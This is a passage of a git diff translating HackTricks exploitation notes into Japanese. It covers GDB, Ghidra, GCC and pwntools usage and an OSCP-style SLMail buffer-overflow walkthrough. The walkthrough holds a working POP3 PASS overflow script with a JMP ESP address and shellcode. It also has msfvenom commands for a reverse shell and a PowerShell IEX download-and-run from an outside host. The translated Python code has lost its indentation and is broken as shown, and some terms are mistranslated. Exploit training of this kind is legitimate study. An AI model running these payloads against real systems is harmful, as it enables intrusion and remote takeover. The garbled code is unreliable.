2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` +## テクニック -## Tricks +### GDBの同じアドレス -### GDB same addresses - -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +デバッグ中には、GDBは**実行時にバイナリが使用するアドレスとは若干異なるアドレスを持つことがあります。** GDBが同じアドレスを持つようにするには、次の手順を実行します。 * `unset env LINES` * `unset env COLUMNS` -* `set env _=` _Put the absolute path to the binary_ -* Exploit the binary using the same absolute route -* `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +* `set env _=` _バイナリの絶対パスを指定します_ +* 同じ絶対パスを使用してバイナリをエクスプロイトします +* GDBを使用しているときとバイナリをエクスプロイトしているときに、`PWD`と`OLDPWD`は同じである必要があります -### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +### 関数の呼び出しを特定するためのバックトレース +**静的にリンクされたバイナリ**の場合、すべての関数はバイナリに属しています(外部ライブラリではありません)。この場合、バイナリがユーザーからの入力を要求するためにたどるフローを**特定するのは困難**です。\ +バイナリを**gdb**で実行し、入力を要求されるまで実行します。その後、**CTRL+C**で停止し、**`bt`**(**バックトレース**)コマンドを使用して呼び出された関数を確認できます。 ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -147,79 +187,74 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +## GDBサーバー -## GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947`(IDAでは、LinuxマシンとWindowsマシンの実行可能ファイルの絶対パスを入力する必要があります) # Ghidra -## Find stack offset +## スタックオフセットの検索 -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra**は、**ローカル変数の位置に関する情報によって、バッファオーバーフローのオフセットを見つけるのに非常に便利です。**\ +たとえば、以下の例では、`local_bc`でのバッファフローは、オフセット`0xbc`が必要であることを示しています。さらに、`local_10`がキャナリーコンキーである場合、`local_bc`からそれを上書きするためのオフセットは`0xac`です。\ +_ RIPが保存される最初の0x08は、RBPに属していることを覚えておいてください。_ ![](<../../.gitbook/assets/image (616).png>) # GCC -**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -**-o** --> Output\ -**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護なしでコンパイルする\ +**-o** --> 出力\ +**-g** --> コードを保存する(GDBで表示できるようになる)\ +**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> LinuxでASLRを無効にするため -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**シェルコードをコンパイルするには:**\ +**nasm -f elf assembly.asm** --> ".o"を返す\ +**ld assembly.o -o shellcodeout** --> 実行可能ファイル # Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -**-Mintel** --> **Intel** syntax\ -**-t** --> **Symbols** table\ -**-D** --> **Disassemble all** (address of static variable)\ -**-s -j .dtors** --> dtors section\ -**-s -j .got** --> got section\ -\-D -s -j .plt --> **plt** section **decompiled**\ -**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> 実行可能ファイルのセクションを逆アセンブルする(コンパイルされたシェルコードのオペコードを表示し、ROPガジェットを見つけ、関数のアドレスを見つける...)\ +**-Mintel** --> **Intel**構文\ +**-t** --> **シンボル**テーブル\ +**-D** --> **すべての**逆アセンブル(静的変数のアドレス)\ +**-s -j .dtors** --> dtorsセクション\ +**-s -j .got** --> gotセクション\ +\-D -s -j .plt --> **plt**セクション **逆アセンブル**\ +**-TR** --> **リロケーション**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT内の"puts"のアドレスを変更するためのアドレス\ +**objdump -D ./exec | grep "VAR\_NAME"** --> 静的変数のアドレス(これらはDATAセクションに格納されています)。 -# Core dumps +# コアダンプ -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` -3. sudo gdb --core=\ --quiet +1. プログラムを開始する前に `ulimit -c unlimited` を実行します +2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` を実行します +3. `sudo gdb --core=\ --quiet` を実行します -# More +# その他 -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> アドレス(ASLRが有効な場合、これは毎回変わります)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> アドレスが大幅に変化するかどうかを確認するためのループ\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"のオフセット\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"のオフセット -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> 実行可能ファイルが呼び出す関数\ +**rabin2 -i ejecutable -->** すべての関数のアドレス # **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - # IDA -## Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary: +## リモートLinuxでのデバッグ +IDAフォルダ内には、Linux内のバイナリをデバッグするために使用できるバイナリが含まれています。そのためには、バイナリ_linux\_server_または_linux\_server64_をLinuxサーバー内に移動し、バイナリが含まれているフォルダ内で実行します。 ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +次に、デバッガを設定します:デバッガ(リモートLinux)→プロセスオプション...: ![](<../../.gitbook/assets/image (101).png>) @@ -228,16 +263,14 @@ Then, configure the debugger: Debugger (linux remote) --> Proccess options...: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/exploiting/tools/pwntools.md b/exploiting/tools/pwntools.md index 63a479337..dc57f1030 100644 --- a/exploiting/tools/pwntools.md +++ b/exploiting/tools/pwntools.md @@ -1,135 +1,112 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - ``` pip3 install pwntools ``` - # Pwn asm -Get opcodes from line or file. - +行またはファイルからオペコードを取得します。 ``` -pwn asm "jmp esp" +pwn asm "jmp esp" pwn asm -i ``` +**選択できるもの:** -**Can select:** +* 出力タイプ(raw、hex、string、elf) +* 出力ファイルのコンテキスト(16、32、64、linux、windows...) +* バイトを回避する(改行、ヌル、リスト) +* gdbを使用してエンコーダのデバッグシェルコードを選択し、出力を実行する -* output type (raw,hex,string,elf) -* output file context (16,32,64,linux,windows...) -* avoid bytes (new lines, null, a list) -* select encoder debug shellcode using gdb run the output - -# **Pwn checksec** - -Checksec script +# **Pwn checksec** +Checksecスクリプト ``` pwn checksec ``` - # Pwn constgrep # Pwn cyclic -Get a pattern - +パターンを取得する ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**選択できるもの:** -**Can select:** +* 使用するアルファベット(デフォルトは小文字) +* ユニークなパターンの長さ(デフォルトは4) +* コンテキスト(16、32、64、Linux、Windowsなど) +* オフセットを取得する(-l) -* The used alphabet (lowercase chars by default) -* Length of uniq pattern (default 4) -* context (16,32,64,linux,windows...) -* Take the offset (-l) - -# Pwn debug - -Attach GDB to a process +# Pwnデバッグ +プロセスにGDBをアタッチする ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**選択できるもの:** -**Can select:** - -* By executable, by name or by pid context (16,32,64,linux,windows...) -* gdbscript to execute +* 実行可能ファイル、名前、またはPIDコンテキスト(16、32、64、Linux、Windows...)による選択 +* 実行するgdbscript * sysrootpath # Pwn disablenx -Disable nx of a binary - +バイナリのnxを無効化する ``` pwn disablenx ``` - # Pwn disasm -Disas hex opcodes - +16進数のオペコードを逆アセンブルします。 ``` pwn disasm ffe4 ``` +**選択できるもの:** -**Can select:** - -* context (16,32,64,linux,windows...) -* base addres -* color(default)/no color +* コンテキスト (16,32,64,linux,windows...) +* ベースアドレス +* カラー (デフォルト)/カラーなし # Pwn elfdiff -Print differences between 2 fiels - +2つのファイルの違いを表示する ``` pwn elfdiff ``` - # Pwn hex -Get hexadecimal representation - +16進数表現を取得する ```bash pwn hex hola #Get hex of "hola" ascii ``` - # Pwn phd -Get hexdump - +16進数ダンプを取得する ``` pwn phd ``` +**選択できるもの:** -**Can select:** - -* Number of bytes to show -* Number of bytes per line highlight byte -* Skip bytes at beginning +* 表示するバイト数 +* 1行あたりのハイライトバイト数 +* 先頭のバイトをスキップする # Pwn pwnstrip @@ -137,72 +114,61 @@ pwn phd # Pwn shellcraft -Get shellcodes - +シェルコードを取得する ``` -pwn shellcraft -l #List shellcodes +pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name pwn shellcraft -f hex amd64.linux.sh #Create in C and run -pwn shellcraft -r amd64.linux.sh #Run to test. Get shell +pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**選択できる項目:** -**Can select:** +* シェルコードとシェルコードの引数 +* 出力ファイル +* 出力形式 +* デバッグ(シェルコードにdbgをアタッチ) +* デバッグトラップ(コードの前でデバッグトラップ) +* デバッグトラップ(コードの後でデバッグトラップ) +* オペコードの使用を避ける(デフォルト: nullと改行以外) +* シェルコードを実行する +* カラー/カラーなし +* シスコールの一覧表示 +* 可能なシェルコードの一覧表示 +* 共有ライブラリとしてELFを生成する -* shellcode and arguments for the shellcode -* Out file -* output format -* debug (attach dbg to shellcode) -* before (debug trap before code) -* after -* avoid using opcodes (default: not null and new line) -* Run the shellcode -* Color/no color -* list syscalls -* list possible shellcodes -* Generate ELF as a shared library - -# Pwn template - -Get a python template +# Pwnテンプレート +Pythonのテンプレートを取得する ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**選択できるもの:** ホスト、ポート、ユーザー、パスワード、パス、およびクワイエット # Pwn unhex -From hex to string - +16進数から文字列へ ``` pwn unhex 686f6c61 ``` +# Pwnのアップデート -# Pwn update - -To update pwntools - +pwntoolsをアップデートするには、以下のコマンドを実行します。 ``` pwn update ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
- - diff --git a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index cfadc02d0..0812b0bba 100644 --- a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,31 +1,72 @@ -# Windows Exploiting (Basic Guide - OSCP lvl) +# Windows Exploiting (基本ガイド - OSCPレベル)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## **Start installing the SLMail service** +## **SLMailサービスのインストールを開始します** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## SLMailサービスの再起動 +**SLMailサービスを再起動する必要がある場合は、Windowsコンソールを使用して行うことができます。** ``` net start slmail ``` - ![](<../.gitbook/assets/image (23) (1).png>) -## Very basic python exploit template +## 非常に基本的なPythonのエクスプロイトテンプレート +```python +#!/usr/bin/env python3 + +import socket + +# Set the target IP and port +target_ip = "192.168.1.10" +target_port = 1337 + +# Create a socket object +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +# Connect to the target +s.connect((target_ip, target_port)) + +# Craft the payload +payload = b"A" * 100 + +# Send the payload +s.send(payload) + +# Receive the response +response = s.recv(1024) + +# Print the response +print(response.decode()) + +# Close the connection +s.close() +``` + +このPythonスクリプトは、非常に基本的なエクスプロイトのテンプレートです。以下の手順に従って使用します。 + +1. `target_ip`と`target_port`をターゲットのIPアドレスとポートに設定します。 +2. ソケットオブジェクトを作成します。 +3. ターゲットに接続します。 +4. ペイロードを作成します。この例では、100バイトの"A"で埋められたペイロードを使用しています。 +5. ペイロードを送信します。 +6. 応答を受信します。 +7. 応答を表示します。 +8. 接続を閉じます。 + +このテンプレートを使用して、ターゲットに対して基本的なエクスプロイトを実行することができます。ただし、実際のエクスプロイトにはさらなるカスタマイズと調整が必要です。 ```python #!/usr/bin/python @@ -37,99 +78,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Immunity Debuggerのフォントを変更する** -## **Change Immunity Debugger Font** +`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`に移動します。 -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **プロセスをImmunity Debuggerにアタッチする:** **File --> Attach** ![](<../.gitbook/assets/image (24) (1) (1).png>) -**And press START button** +**そして、STARTボタンを押します** -## **Send the exploit and check if EIP is affected:** +## **エクスプロイトを送信し、EIPが影響を受けているか確認する:** ![](<../.gitbook/assets/image (25) (1) (1).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +サービスを停止した場合は、このページの最初に示されているように再起動する必要があります。 -## Create a pattern to modify the EIP +## EIPを変更するためのパターンを作成する -The pattern should be as big as the buffer you used to broke the service previously. +パターンは、以前にサービスを停止させるために使用したバッファと同じ大きさである必要があります。 ![](<../.gitbook/assets/image (26) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +バッファのエクスプロイトを変更し、パターンを設定してエクスプロイトを実行します。 -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +新しいクラッシュが発生するはずですが、EIPアドレスが異なるはずです: ![](<../.gitbook/assets/image (27) (1) (1).png>) -Check if the address was in your pattern: +アドレスがパターンに含まれているかどうかを確認します: ![](<../.gitbook/assets/image (28) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +見たところ、**バッファのオフセット2606でEIPを変更できるようです**。 -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +エクスプロイトのバッファを変更して確認してみましょう: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +このバッファを使用すると、EIPクラッシュは42424242("BBBB")を指すはずです。 ![](<../.gitbook/assets/image (30) (1) (1).png>) ![](<../.gitbook/assets/image (29) (1) (1).png>) -Looks like it is working. +うまく動いているようです。 -## Check for Shellcode space inside the stack +## スタック内のシェルコードスペースを確認する -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600Bは、強力なシェルコードに十分なスペースです。 +バッファを変更しましょう: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +新しいエクスプロイトを起動し、EBPと有用なシェルコードの長さをチェックします。 ![](<../.gitbook/assets/image (31) (1).png>) ![](<../.gitbook/assets/image (32) (1).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +脆弱性に到達すると、EBPがシェルコードを指し示しており、ここにシェルコードを配置するための十分なスペースがあることがわかります。 -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +この場合、**0x0209A128から0x0209A2D6までの範囲は430Bです。** 十分です。 -## Check for bad chars - -Change again the buffer: +## 不正な文字をチェックする +再びバッファを変更します。 ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -151,63 +182,55 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +badcharsは0x01から始まります。なぜなら0x00はほとんどの場合、悪いからです。 -The badchars starts in 0x01 because 0x00 is almost always bad. +この新しいバッファを使用して、見つかった無用な文字を削除して、エクスプロイトを繰り返し実行します。 -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +例えば: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +この場合、**文字0x0Aは使用しないべきです**(文字0x09ではメモリに保存されていないため)。 ![](<../.gitbook/assets/image (33) (1).png>) -In this case you can see that **the char 0x0D is avoided**: +この場合、**文字0x0Dは回避されています**: ![](<../.gitbook/assets/image (34) (1).png>) -## Find a JMP ESP as a return address - -Using: +## JMP ESPをリターンアドレスとして見つける +使用中: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` +メモリマップを**リストアップ**します。次の条件を満たすDLLを検索します: -You will **list the memory maps**. Search for some DLl that has: - -* **Rebase: False** -* **SafeSEH: False** -* **ASLR: False** -* **NXCompat: False** -* **OS Dll: True** +- **Rebase: False** +- **SafeSEH: False** +- **ASLR: False** +- **NXCompat: False** +- **OS Dll: True** ![](<../.gitbook/assets/image (35) (1).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +次に、このメモリ内にいくつかのJMP ESPバイトを見つける必要があります。これを実行するためには、以下のコマンドを実行します: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**次に、いくつかのアドレスが見つかった場合、悪い文字を含まないアドレスを選択します:** ![](<../.gitbook/assets/image (36) (1).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**この場合、例えば: \_0x5f4a358f**\_ +## シェルコードの作成 ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +もしエクスプロイトが動作していないが、動作するはずである場合(ImDebgでシェルコードが到達していることが確認できる)、同じパラメータでも他のシェルコードを作成してみてください(msfvenomを使用して異なるシェルコードを作成します)。 -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +シェルコードの**先頭にいくつかのNOPSを追加**し、それを使用してリターンアドレスにJMP ESPを指定し、エクスプロイトを完了させてください: ```bash #!/usr/bin/python @@ -246,37 +269,34 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not 